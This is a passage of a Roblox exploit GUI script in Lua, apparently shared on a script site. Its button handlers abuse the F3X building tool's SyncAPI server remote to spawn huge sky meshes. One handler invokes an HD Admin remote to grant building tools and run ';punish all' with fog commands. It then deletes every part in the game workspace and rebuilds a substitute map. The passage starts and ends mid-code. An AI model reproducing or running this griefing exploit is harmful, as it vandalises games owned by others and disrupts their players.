[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(6000,6000,6000))
SetLocked(v,true)
end
end
end
Sky("93092188749697")
end)
end;
task.spawn(C_16);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_18()
local script = G2L["18"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(6000,6000,6000))
SetLocked(v,true)
end
end
end
Sky("82934289144205")
end)
end;
task.spawn(C_18);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_1a()
local script = G2L["1a"];
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function VertexColormf(part)
local a1 = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["VertexColor"] = Vector3.new(3,3,3)
}
}
}
_(a1)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-9,0),workspace.Terrain)
wait(0.5) -- Increased wait time for part creation
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
SetName(v,"Sky")
AddMesh(v)
SetMesh(v,"111891702759441")
SetTexture(v,id)
MeshResize(v,Vector3.new(20000, 20000, 20000))
VertexColormf(v)
SetLocked(v,true)
local skyPart = v
local rotationSpeedX = 50
local rotationSpeedZ = 50
local rotationSpeedY = 50
local currentRotation = Vector3.new(0, 0, 0)
game:GetService("RunService").Heartbeat:Connect(function(deltaTime)
currentRotation = Vector3.new(
(currentRotation.X + rotationSpeedX * deltaTime) % 360,
(currentRotation.Y + rotationSpeedY * deltaTime) % 360,
(currentRotation.Z + rotationSpeedZ * deltaTime) % 360
)
local baseCFrame = CFrame.new(skyPart.Position)
local rotatedCFrame = baseCFrame * CFrame.Angles(
math.rad(currentRotation.X),
math.rad(currentRotation.Y),
math.rad(currentRotation.Z)
)
MovePart(skyPart, rotatedCFrame)
end)
break
end
end
end
Sky("93092188749697")
end)
end;
task.spawn(C_1a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_1c()
local script = G2L["1c"];
script.Parent.MouseButton1Click:Connect(function()
--- map 2 f3x by x9d
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
task.wait(1.2)
RequestCommand:InvokeServer(";punish all ;fog 20 20 ;fogcolor black")
task.wait(0.2)
local player = game.Players.LocalPlayer
local backpack = player.Backpack
local character = player.Character
local function getF3X()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then return v end
end
for _, v in ipairs(character:GetChildren()) do
if v:FindFirstChild("SyncAPI") then return v end
end
return nil
end
local f3x = getF3X()
if not f3x then
warn("F3X / SyncAPI not found – please equip btools and try again")
return
end
local syncapi = f3x.SyncAPI
local endpoint = syncapi.ServerEndpoint
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("MeshPart") then
task.spawn(function()
pcall(function()
endpoint:InvokeServer("Remove", {v})
end)
end)
end
end
task.wait(1)
local function syncAnchor(ep, part, anchored)
ep:InvokeServer("SyncAnchor", {{Part = part, Anchored = anchored}})
end
local function poopyshitResize(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncResize", tbl) end end
local function poopyshitMaterial(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncMaterial", tbl) end end
local function poopyshitColor(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncColor", tbl) end end
local function poopyshitCollision(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncCollision", tbl) end end
local function createMesh(ep, part) ep:InvokeServer("CreateMeshes", {{Part = part}}) end
local function syncMesh(ep, part, mId, tId, mScale, mOffset)
ep:InvokeServer("SyncMesh", {{
Part = part,
MeshId = mId,
TextureId = tId,
Scale = mScale,
Offset = mOffset,
MeshType = Enum.MeshType.FileMesh
}})
end
local function createDecal(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Decal"}}) end
local function setDecalTexture(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Texture = tex}}) end
local function setDecalTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Transparency = trans}}) end
local function createTexture(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Texture"}}) end
local function setTextureId(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Texture = tex}}) end
local function setTextureTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Transparency = trans}}) end
local function createLight(ep, part, lightType)
ep:InvokeServer("CreateLights", {{Part = part, LightType = lightType}})
end
local function syncLight(ep, part, lightType, brightness, range, color, shadows, face, angle)
local params = {Part = part, LightType = lightType}
if brightness ~= nil then params.Brightness = brightness end
if range ~= nil then params.Range = range end
if color then params.Color = color end
if shadows ~= nil then params.Shadows = shadows end
if face and face ~= "nil" then params.Face = face end
if angle ~= nil then params.Angle = angle end
ep:InvokeServer("SyncLighting", {params})
end
local function createGroup(ep, groupType, parent, items) return ep:InvokeServer("CreateGroup", groupType, parent, items) end
local function setName(ep, obj, name) ep:InvokeServer("SetName", {obj}, name) end
local function setLocked(ep, part, lock) ep:InvokeServer("SetLocked", {part}, lock) end
local P = {}
local partData = {
[7] = {anchored = true},
[8] = {anchored = true},
[9] = {anchored = true},
[10] = {anchored = true},
[13] = {anchored = true},
[14] = {anchored = true},
[15] = {anchored = true},
[16] = {anchored = true},
[18] = {anchored = true},
[20] = {anchored = true},
[22] = {anchored = true},
[24] = {anchored = true},
[26] = {anchored = true},
[28] = {anchored = true},
[29] = {anchored = true},
[31] = {anchored = true},
[32] = {anchored = true},
[58] = {anchored = true},
[40] = {anchored = true},
[56] = {anchored = true},
[44] = {anchored = true},
[39] = {anchored = true},
[36] = {anchored = true},
[53] = {anchored = true},
[45] = {anchored = true},
[42] = {anchored = true},
[51] = {anchored = true},
[49] = {anchored = true},
[47] = {anchored = true},
[34] = {anchored = true},
[55] = {anchored = true},
[37] = {anchored = true},
}
local partDefs = {
[7] = {shape="Normal", cframe=CFrame.new(31.403011322021484,5.803171157836914,6.91834831237793,1,0,0,0,1,0,0,0,1)},
[8] = {shape="Normal", cframe=CFrame.new(31.403011322021484,9.045248031616211,4.645868301391602,1,0,0,0,0.7071342468261719,-0.707079291343689,0,0.707079291343689,0.7071342468261719)},
[9] = {shape="Normal", cframe=CFrame.new(31.403011322021484,11.092819213867188,4.5087432861328125,1,0,0,0,1,0,0,0,1)},
[10] = {shape="Normal", cframe=CFrame.new(31.338024139404297,10.399991989135742,1.9637413024902344,1,0,0,0,1,0,0,0,1)},
[13] = {shape="Normal", cframe=CFrame.new(31.403011322021484,9.045248031616211,-5.354131698608398,1,0,0,0,0.7071342468261719,-0.707079291343689,0,0.707079291343689,0.7071342468261719)},
[14] = {shape="Normal", cframe=CFrame.new(31.403011322021484,11.092819213867188,-5.4912567138671875,1,0,0,0,1,0,0,0,1)},
[15] = {shape="Normal", cframe=CFrame.new(31.403011322021484,5.803171157836914,-3.0816516876220703,1,0,0,0,1,0,0,0,1)},
[16] = {shape="Normal", cframe=CFrame.new(31.338024139404297,10.399991989135742,-8.036258697509766,1,0,0,0,1,0,0,0,1)},
[18] = {shape="Normal", cframe=CFrame.new(-3.0000152587890625,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[20] = {shape="Normal", cframe=CFrame.new(-7.0000152587890625,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
[22] = {shape="Spawn", cframe=CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)},
[24] = {shape="Normal", cframe=CFrame.new(-3.0000152587890625,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
[26] = {shape="Normal", cframe=CFrame.new(-18,6.000000953674316,8.5,1,0,0,0,1,0,0,0,1)},
[28] = {shape="Normal", cframe=CFrame.new(8.053698539733887,12.347900390625,34.18025207519531,-1,0,0,0,1,0,0,0,-1)},
[29] = {shape="Normal", cframe=CFrame.new(-7.0000152587890625,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[31] = {shape="Normal", cframe=CFrame.new(1.9999847412109375,-8,51.50001525878906,1,0,0,0,1,0,0,0,1)},
[32] = {shape="Normal", cframe=CFrame.new(0.9999847412109375,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[58] = {shape="Normal", cframe=CFrame.new(11.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
[40] = {shape="Normal", cframe=CFrame.new(4.9999847412109375,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[56] = {shape="Normal", cframe=CFrame.new(19.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[44] = {shape="Normal", cframe=CFrame.new(31.655550003051758,7.221560001373291,1.9387414455413818,-1,0,0,0,1,0,0,0,-1)},
[39] = {shape="Normal", cframe=CFrame.new(30.803302764892578,7.550135135650635,-8.011259078979492,0,0,-1,0,1,0,1,0,0)},
[36] = {shape="Normal", cframe=CFrame.new(29.18366813659668,1.6103498935699463,-3.449313163757324,0.7070603370666504,0.000013381242752075195,-0.7071532011032104,-0.7071532011032104,0.00003230571746826172,-0.7070603370666504,0.000013381242752075195,1,0.00003230571746826172)},
[53] = {shape="Normal", cframe=CFrame.new(4.9999847412109375,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
[45] = {shape="Normal", cframe=CFrame.new(23.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
[42] = {shape="Normal", cframe=CFrame.new(15.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[51] = {shape="Normal", cframe=CFrame.new(23.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[49] = {shape="Normal", cframe=CFrame.new(15.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
[47] = {shape="Normal", cframe=CFrame.new(11.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)},
[34] = {shape="Normal", cframe=CFrame.new(0.9999847412109375,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
[55] = {shape="Normal", cframe=CFrame.new(29.18366813659668,1.6103498935699463,7.205657958984375,0.7070603370666504,0.000013381242752075195,-0.7071532011032104,-0.7071532011032104,0.00003230571746826172,-0.7070603370666504,0.000013381242752075195,1,0.00003230571746826172)},
[37] = {shape="Normal", cframe=CFrame.new(19.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)},
}
local pending = 0
for id, def in pairs(partDefs) do
pending = pending + 1
task.spawn(function()
local success, part = pcall(function()
return endpoint:InvokeServer("CreatePart", def.shape, def.cframe, workspace)
end)
if success and part then
P[id] = part
syncAnchor(endpoint, part, true)
end
pending = pending - 1
end)
end
while pending > 0 do
task.wait()
end
local resizepoopyshit = {}
if P[7] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[7], CFrame = P[7].CFrame, Size = Vector3.new(1.199418544769287,11.606341361999512,1.1275964975357056)} end
if P[8] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[8], CFrame = P[8].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,6.3346476554870605)} end
if P[9] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[9], CFrame = P[9].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,5.946812629699707)} end
if P[10] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[10], CFrame = P[10].CFrame, Size = Vector3.new(0.10000000149011612,1.4200005531311035,0.05000000074505806)} end
if P[13] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[13], CFrame = P[13].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,6.3346476554870605)} end
if P[14] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[14], CFrame = P[14].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,5.946812629699707)} end
if P[15] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[15], CFrame = P[15].CFrame, Size = Vector3.new(1.199418544769287,11.606341361999512,1.1275964975357056)} end
if P[16] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[16], CFrame = P[16].CFrame, Size = Vector3.new(0.10000000149011612,1.4200005531311035,0.05000000074505806)} end
if P[18] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[18], CFrame = P[18].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[20] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[20], CFrame = P[20].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[22] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[22], CFrame = P[22].CFrame, Size = Vector3.new(12,1,12)} end
if P[24] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[24], CFrame = P[24].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[26] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[26], CFrame = P[26].CFrame, Size = Vector3.new(14,12,1)} end
if P[28] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[28], CFrame = P[28].CFrame, Size = Vector3.new(19,25.581600189208984,16.27989959716797)} end
if P[29] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[29], CFrame = P[29].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[31] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[31], CFrame = P[31].CFrame, Size = Vector3.new(364,16,336.9999694824219)} end
if P[32] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[32], CFrame = P[32].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[58] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[58], CFrame = P[58].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[40] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[40], CFrame = P[40].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[56] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[56], CFrame = P[56].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[44] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[44], CFrame = P[44].CFrame, Size = Vector3.new(2.361499786376953,5.645480155944824,4.000002861022949)} end
if P[39] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[39], CFrame = P[39].CFrame, Size = Vector3.new(4,5.077950477600098,1.448699951171875)} end
if P[36] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[36], CFrame = P[36].CFrame, Size = Vector3.new(0.409912109375,0.39226099848747253,4.1800537109375)} end
if P[53] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[53], CFrame = P[53].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[45] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[45], CFrame = P[45].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[42] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[42], CFrame = P[42].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[51] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[51], CFrame = P[51].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[49] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[49], CFrame = P[49].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[47] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[47], CFrame = P[47].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[34] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[34], CFrame = P[34].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
if P[55] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[55], CFrame = P[55].CFrame, Size = Vector3.new(0.409912109375,0.39226099848747253,4.1800537109375)} end
if P[37] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[37], CFrame = P[37].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
poopyshitResize(endpoint, resizepoopyshit)
local materialpoopyshit = {}
if P[7] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[7], Material = Enum.Material.Wood} end
if P[8] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[8], Material = Enum.Material.Wood} end
if P[9] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[9], Material = Enum.Material.Wood} end
if P[10] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[10], Material = Enum.Material.Fabric} end
if P[13] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[13], Material = Enum.Material.Wood} end
if P[14] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[14], Material = Enum.Material.Wood} end
if P[15] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[15], Material = Enum.Material.Wood} end
if P[16] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[16], Material = Enum.Material.Fabric} end
if P[18] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[18], Material = Enum.Material.Fabric} end
if P[20] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[20], Material = Enum.Material.Fabric} end
if P[22] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[22], Material = Enum.Material.Plastic} end
if P[24] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[24], Material = Enum.Material.Fabric} end
if P[26] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[26], Material = Enum.Material.Plastic} end
if P[28] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[28], Material = Enum.Material.Plastic} end
if P[29] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[29], Material = Enum.Material.Fabric} end
if P[31] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[31], Material = Enum.Material.Mud} end
if P[32] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[32], Material = Enum.Material.Fabric} end
if P[58] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[58], Material = Enum.Material.Fabric} end
if P[40] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[40], Material = Enum.Material.Fabric} end
if P[56] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[56], Material = Enum.Material.Fabric} end
if P[44] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[44], Material = Enum.Material.Plastic} end
if P[39] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[39], Material = Enum.Material.Plastic} end
if P[36] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[36], Material = Enum.Material.Plastic} end
if P[53] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[53], Material = Enum.Material.Fabric} end
if P[45] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[45], Material = Enum.Material.Fabric} end
if P[42] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[42], Material = Enum.Material.Fabric} end
if P[51] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[51], Material = Enum.Material.Fabric} end
if P[49] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[49], Material = Enum.Material.Fabric} end
if P[47] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[47], Material = Enum.Material.Fabric} end
if P[34] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[34], Material = Enum.Material.Fabric} end
if P[55] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[55], Material = Enum.Material.Plastic} end
if P[37] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[37], Material = Enum.Material.Fabric} end
poopyshitMaterial(endpoint, materialpoopyshit)
local transparencypoopyshit = {}
